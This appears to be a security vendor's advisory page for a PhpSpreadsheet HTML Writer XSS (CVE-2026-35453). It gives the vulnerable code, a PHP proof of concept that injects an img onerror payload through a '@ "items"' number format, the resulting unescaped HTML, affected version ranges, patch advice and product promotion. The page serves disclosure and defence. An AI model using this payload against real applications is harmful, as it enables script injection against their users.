How severe is GHSA-6wpp-88cp-7q68?

No CVSS score has been assigned to GHSA-6wpp-88cp-7q68 yet. Review the advisory details and affected package list to assess your exposure.

Which packages are affected by GHSA-6wpp-88cp-7q68?

GHSA-6wpp-88cp-7q68 affects the following packages: phpoffice/phpspreadsheet (Packagist), phpoffice/phpspreadsheet (Packagist), phpoffice/phpspreadsheet (Packagist), phpoffice/phpspreadsheet (Packagist), phpoffice/phpspreadsheet (Packagist). Ecosystems affected: Packagist.

How do I fix GHSA-6wpp-88cp-7q68?

Update phpoffice/phpspreadsheet to 5.7.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-6wpp-88cp-7q68 is resolved across your whole dependency graph.

How do I detect GHSA-6wpp-88cp-7q68 in my Packagist dependencies?

Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for phpoffice/phpspreadsheet. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

How do I mitigate GHSA-6wpp-88cp-7q68 if there is no patch (or I can't update yet)?

If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

How does O3 Security protect against GHSA-6wpp-88cp-7q68?

O3 pinpoints whether GHSA-6wpp-88cp-7q68 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Is GHSA-6wpp-88cp-7q68 actively exploited in the wild?

No public exploit code has been indexed for GHSA-6wpp-88cp-7q68 yet. This does not mean the vulnerability cannot be exploited — absence of public exploits does not imply safety. Apply the recommended fix and use O3 Security to monitor your exposure.

What is the EPSS score for GHSA-6wpp-88cp-7q68?

GHSA-6wpp-88cp-7q68 has an EPSS (Exploit Prediction Scoring System) score of 0.2%, placing it in the 10th percentile of all CVEs. EPSS is maintained by FIRST.org and estimates the probability that a vulnerability will be exploited in the wild within the next 30 days. This score indicates relatively lower exploitation probability, though the CVSS severity should still guide your patching priority.

When was GHSA-6wpp-88cp-7q68 published, and has it been updated?

GHSA-6wpp-88cp-7q68 was published on April 28, 2026 and was last updated on May 8, 2026. Advisory data evolves as severity scores, affected ranges, and exploit intelligence are revised — always check the latest version of the advisory before acting.

🐘 Packagist

GHSA-6wpp-88cp-7q68

GHSA-6wpp-88cp-7q68 is a security vulnerability in phpoffice/phpspreadsheet. O3 Security confirms whether GHSA-6wpp-88cp-7q68 is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.

PhpSpreadsheet has XSS via NumberFormat @ Text Substitution in HTML Writer

Also known asCVE-2026-35453

Published

Apr 28, 2026

Updated

May 8, 2026

Affected

5 pkgs

Patched

5 / 5

Exploits

None indexed

EPSS Exploitation Probability

via FIRST.org ↗

0.2%probability of exploitation in next 30 days

Lower Risk10th percentile0.00%

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

Blast Radius

5 pkgs affected

🐘phpoffice/phpspreadsheet🐘phpoffice/phpspreadsheet🐘phpoffice/phpspreadsheet🐘phpoffice/phpspreadsheet🐘phpoffice/phpspreadsheet

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.

Description

Summary

The HTML Writer in PhpSpreadsheet bypasses htmlspecialchars() output escaping when a cell uses a custom number format containing the @ text placeholder with additional literal text (e.g., @ "items" or "Total: "@). This allows an attacker to inject arbitrary HTML and JavaScript into the generated HTML output by crafting a malicious XLSX file.

Details

1. Conditional escaping in `Html.php:1586-1594`

$cellData = NumberFormat::toFormattedString(
    $origData2,
    $formatCode ?? NumberFormat::FORMAT_GENERAL,
    [$this, 'formatColor']
);

if ($cellData === $origData) {
    $cellData = htmlspecialchars($cellData, Settings::htmlEntityFlags());
}

htmlspecialchars() is only called when $cellData === $origData (strict comparison). If the formatted output differs from the original value in any way, escaping is skipped entirely.

2. Early return in `Formatter.php:136-152`

if (preg_match(self::SECTION_SPLIT, $format) === 0
    && preg_match(self::SYMBOL_AT, $formatx) === 1) {
    if (!str_contains($format, '"')) {
        return str_replace('@', /* raw value */, $format);
    }
    return str_replace(/* ... preg_replace with raw value ... */);
}

When the format code contains @ with additional literal text (e.g., @ "items"), the formatter substitutes the raw cell value into the format string and returns early — the formatColor callback (which would have applied htmlspecialchars) is never invoked.

PoC

test.php

<?php

require '/app/vendor/autoload.php';

use PhpOffice\PhpSpreadsheet\Spreadsheet;
use PhpOffice\PhpSpreadsheet\Writer\Html;

$spreadsheet = new Spreadsheet();
$sheet = $spreadsheet->getActiveSheet();

$payload    = '<img src=x onerror=alert(document.domain)>';
$formatCode = '@ "items"';


$sheet->setCellValue('A1', $payload);
$sheet->getStyle('A1')->getNumberFormat()->setFormatCode($formatCode);

$writer = new Html($spreadsheet);
$html = $writer->generateHTMLAll();

file_put_contents('/app/output.html', $html);

echo "HTML output saved to /app/output.html\n";

The produced output contains unescaped data.

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
  <head>
      <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
      <meta name="generator" content="PhpSpreadsheet, https://github.com/PHPOffice/PhpSpreadsheet" />
      <title>Untitled Spreadsheet</title>
      <meta name="author" content="Unknown Creator" />
      <meta name="title" content="Untitled Spreadsheet" />
      <meta name="lastModifiedBy" content="Unknown Creator" />
      <meta name="created" content="2026-04-02T16:34:44+00:00" />
      <meta name="modified" content="2026-04-02T16:34:44+00:00" />
    <style type="text/css">
[..SNIP..]
    </style>
  </head>

  <body>
<div style='page: page0'>
    <table border='0' cellpadding='0' cellspacing='0' id='sheet0' class='sheet0 gridlines'>
        <col class="col0" />
        <tbody>
          <tr class="row0">
            <td class="column0 style1 s"><img src=x onerror=alert(document.domain)> items</td>
          </tr>
    </tbody></table>
</div>
  </body>
</html>

Impact

The impact changes based on the way the HTML is served. In case it is served from the web server it is typical XSS, in case the file is downloaded and opened locally, the attack vector is more limited.

Affected Packages

5 total 5 fixed

Ecosystem	Package	Vulnerable range	Fix
🐘Packagist	`phpoffice/phpspreadsheet`	≥ 4.0.0&&< 5.7.0	5.7.0
🐘Packagist	`phpoffice/phpspreadsheet`	≥ 3.3.0&&< 3.10.5	3.10.5
🐘Packagist	`phpoffice/phpspreadsheet`	≥ 2.2.0&&< 2.4.5	2.4.5
🐘Packagist	`phpoffice/phpspreadsheet`	≥ 2.0.0&&< 2.1.16	2.1.16
🐘Packagist	`phpoffice/phpspreadsheet`	all versions	1.30.4

Detection & mitigation playbook

Open-source dependency

Detect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for phpoffice/phpspreadsheet. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update phpoffice/phpspreadsheet to 5.7.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-6wpp-88cp-7q68 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-6wpp-88cp-7q68 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-6wpp-88cp-7q68. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary The HTML Writer in PhpSpreadsheet bypasses `htmlspecialchars()` output escaping when a cell uses a custom number format containing the `@` text placeholder with additional literal text (e.g., `@ "items"` or `"Total: "@`). This allows an attacker to inject arbitrary HTML and JavaScript into the generated HTML output by crafting a malicious XLSX file. ### Details #### 1. Conditional escaping in `Html.php:1586-1594` ```php $cellData = NumberFormat::toFormattedString( $origData2, $formatCode ?? NumberFormat::FORMAT_GENERAL, [$this, 'formatColor'] ); if ($cellData === $

O3 Security · Impact-Aware SCA

Is GHSA-6wpp-88cp-7q68 in your dependencies?

O3 detects GHSA-6wpp-88cp-7q68 across Packagist dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.

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